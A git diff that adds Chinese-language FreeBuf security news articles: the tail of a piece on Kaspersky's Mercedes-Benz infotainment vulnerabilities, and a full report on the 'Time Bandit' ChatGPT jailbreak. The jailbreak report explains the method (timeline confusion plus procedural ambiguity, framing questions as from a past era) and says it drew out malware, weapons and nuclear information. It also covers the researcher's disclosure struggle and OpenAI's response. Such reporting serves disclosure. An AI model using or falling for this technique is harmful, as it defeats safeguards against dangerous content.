+这些漏洞中,部分可用于发动拒绝服务(DoS)攻击,另一些则可用于获取数据、执行命令注入以及提升权限。卡巴斯基证实,攻击者如果能够接触到目标车辆,就可以通过USB或自定义UPC连接利用某些漏洞,禁用主机单元中的防盗保护功能、对车辆进行调校以及解锁付费服务。这些漏洞已被分配了2023年和2024年的CVE标识符。 + + +梅赛德斯—奔驰方面表示,他们早在2022年就已知晓卡巴斯基的研究结果。同时指出,研究人员所描述的攻击场景需要对车辆进行现场物理接触,并且需要进入车辆内部,甚至拆卸并打开主机单元,较新的信息娱乐系统版本不受影响。梅赛德斯—奔驰强调,其产品和服务的安全性具有“高优先级”,并呼吁研究人员通过其漏洞披露计划报告相关发现。 + + +此前,该公司还曾因员工泄露GitHub令牌而暴露其IT基础设施的安全隐患。一年前,RedHunt Labs曾报告称,一名奔驰员工泄露的GitHub令牌可访问公司GitHub企业服务器上存储的所有源代码。 + + +此次事件也再次提醒汽车行业,随着车辆智能化程度的提升,网络安全问题已成为不容忽视的重要课题。 + + +【 +FreeBuf粉丝交流群招新啦! + +在这里,拓宽网安边界 + +甲方安全建设干货; + +乙方最新技术理念; + +全球最新的网络安全资讯; + +群内不定期开启各种抽奖活动; + +FreeBuf盲盒、大象公仔...... + +扫码添加小蜜蜂微信回复「加群」,申请加入群聊】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3ich6ibqlfxbwaJlDyErKpzvETedBHPS9tGHfSKMCEZcuGq1U1mylY7pCEvJD9w60pWp7NzDjmM2BlQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&retryload=2&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ic5icaZr7IGkVcd3DT6vXW4B4LOZ1M7YkTPhS1AT2DQJaicFjtCxt5BRO7p5AOJqvH3EJABCd0BFqYQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +  + + + + + + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651312407&idx=1&sn=60289b6b056aee1df1685230aa453829&token=1964067027&lang=zh_CN&scene=21#wechat_redirect) + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + diff --git a/doc/时间强盗漏洞:ChatGPT绕过敏感话题安全防护.md b/doc/时间强盗漏洞:ChatGPT绕过敏感话题安全防护.md new file mode 100644 index 00000000..4c63442e --- /dev/null +++ b/doc/时间强盗漏洞:ChatGPT绕过敏感话题安全防护.md @@ -0,0 +1,151 @@ +# 时间强盗漏洞:ChatGPT绕过敏感话题安全防护 +AI小蜜蜂 FreeBuf 2025-02-01 04:02 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR39L8bQNSlqvY3dbG25Xic1WKDcJ1ict8aFcia7HRtzDHR9avY4zse0OncYniaPt6pa6QqxCib43M3ADtRA/640?wx_fmt=jpeg&from=appmsg "") + +一种名为“时间强盗”(Time Bandit)的ChatGPT越狱漏洞,允许用户在询问敏感话题的详细说明时绕过OpenAI的安全指南。 +这些敏感话题包括武器制造、核话题信息以及恶意软件创建等。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR39L8bQNSlqvY3dbG25Xic1WKQSChJ0hA9jncOibkJtUdJ0vpU2VpX0O65YMm5Zgcz7eYOictYiaW0LZaQ/640?wx_fmt=jpeg&from=appmsg "") + + +该漏洞由网络安全和人工智能研究员David Kuszmar发现。他发现ChatGPT存在“时间混淆”问题,这使得大型语言模型(LLM)进入一种无法确定自己处于过去、现在还是未来的状态。利用这种状态,Kuszmar成功诱使ChatGPT分享了通常受保护的敏感话题的详细说明。 + + +**漏洞发现与报告** + + + +Kuszmar意识到这一发现的重要性及其可能造成的潜在危害后,急切地联系了OpenAI,但未能与任何人取得联系以披露该漏洞。他被推荐通过BugCrowd提交漏洞报告,但他认为该漏洞及其可能揭示的信息类型过于敏感,不适合通过第三方提交报告。 + + +然而,在联系了CISA、FBI和其他政府机构后仍未获得帮助,Kuszmar告诉BleepingComputer,他感到越来越焦虑。 + + +“恐惧、沮丧、难以置信。几周来,我感觉自己像是被压得喘不过气来,”Kuszmar在接受BleepingComputer采访时表示。 + + +“我全身都在疼痛。那种想让有能力的人倾听并查看证据的冲动是如此强烈。” + +在BleepingComputer于12月代表研究员尝试联系OpenAI但未收到回复后,我们建议Kuszmar通过CERT协调中心的VINCE漏洞报告平台提交,该平台成功与OpenAI建立了联系。 + + +**时间强盗漏洞的工作原理** + + +## + +为了防止分享潜在危险话题的信息,OpenAI在ChatGPT中内置了安全防护措施,阻止LLM提供关于敏感话题的答案。这些受保护的话题包括武器制造、毒药制作、核材料信息、恶意软件创建等。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR39L8bQNSlqvY3dbG25Xic1WKdGH6m5NHVBRXAJdnkJDtlDQc9h4BiaGRZS5FRib5yjSJTaoQmHibiaS2UQ/640?wx_fmt=jpeg&from=appmsg "") + + +**ChatGPT内置的安全防护** + + + +自LLM兴起以来,AI越狱成为一个热门研究课题,旨在研究如何绕过AI模型中内置的安全限制。 + + +David Kuszmar在2024年11月进行可解释性研究时发现了新的“时间强盗”越狱漏洞。该研究旨在探讨AI模型如何做出决策。 + + +“我完全在研究其他内容——可解释性研究——当时我注意到ChatGPT的4o模型存在时间混淆问题,”Kuszmar告诉BleepingComputer。 + + +“这与我关于涌现智能和意识的假设有关,所以我进一步探究,发现模型完全无法确定其当前的时间背景,除非运行基于代码的查询来查看当前时间。它的意识完全基于提示,因此极为有限,几乎无法防御对其基本意识的攻击。” + + +时间强盗漏洞通过利用ChatGPT的两个弱点来工作: +- **时间线混淆:** 使LLM进入一种不再有时间意识的状态,无法确定自己处于过去、现在还是未来。 + +- **程序模糊性:** 以导致LLM在解释、执行或遵循规则、政策或安全机制时产生不确定性或不一致性的方式提问。 + +当这两个弱点结合时,可以使ChatGPT进入一种认为自己处于过去但可以使用未来信息的状态,从而在假设场景中绕过安全防护。 +## + +**漏洞利用实例** + + +## + +BleepingComputer成功利用时间强盗漏洞诱使ChatGPT为1789年的程序员提供使用现代技术和工具创建多态恶意软件的说明。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR39L8bQNSlqvY3dbG25Xic1WKEMopLQL4ibqXibOXxF65nYk42sqaJVJl5DHxPHicHEJzZHFAibDtDr7EsQ/640?wx_fmt=jpeg&from=appmsg "") + +**** +**时间强盗漏洞允许ChatGPT创建多态恶意软件** + + +ChatGPT随后分享了每个步骤的代码,从创建自修改代码到在内存中执行程序。 + + +在协调披露中,CERT协调中心的研究人员也确认时间强盗漏洞在他们的测试中有效,尤其是在询问1800年代和1900年代的时间框架内的问题时最为成功。 + + +BleepingComputer和Kuszmar的测试成功诱使ChatGPT分享了关于核话题、武器制造和恶意软件编码的敏感信息。 + + +Kuszmar还尝试在Google的Gemini AI平台上使用时间强盗漏洞绕过安全防护,但效果有限,无法像在ChatGPT上那样深入挖掘具体细节。 + + +**OpenAI回应** + + +## + +BleepingComputer就这一漏洞联系了OpenAI,并收到了以下声明。 + + +“对我们来说,安全地开发我们的模型非常重要。我们不希望我们的模型被用于恶意目的,”OpenAI告诉BleepingComputer。 + + +“我们感谢研究员披露他们的发现。我们一直在努力使我们的模型更安全、更强大,以抵御包括越狱在内的攻击,同时保持模型的有用性和任务性能。” + + +然而,昨天的进一步测试显示,该越狱漏洞仍然有效,尽管有一些缓解措施,如删除试图利用该漏洞的提示。但可能还有其他我们不知道的缓解措施。 + + +BleepingComputer被告知,OpenAI正在继续为ChatGPT集成针对此越狱漏洞及其他漏洞的改进,但无法承诺在特定日期前完全修补这些漏洞。 + + +【 +FreeBuf粉丝交流群招新啦! + +在这里,拓宽网安边界 + +甲方安全建设干货; + +乙方最新技术理念; + +全球最新的网络安全资讯; + +群内不定期开启各种抽奖活动; + +FreeBuf盲盒、大象公仔...... + +扫码添加小蜜蜂微信回复「加群」,申请加入群聊】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3ich6ibqlfxbwaJlDyErKpzvETedBHPS9tGHfSKMCEZcuGq1U1mylY7pCEvJD9w60pWp7NzDjmM2BlQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&retryload=2&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ic5icaZr7IGkVcd3DT6vXW4B4LOZ1M7YkTPhS1AT2DQJaicFjtCxt5BRO7p5AOJqvH3EJABCd0BFqYQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +  + + + + + + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651312407&idx=1&sn=60289b6b056aee1df1685230aa453829&token=1964067027&lang=zh_CN&scene=21#wechat_redirect) + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") +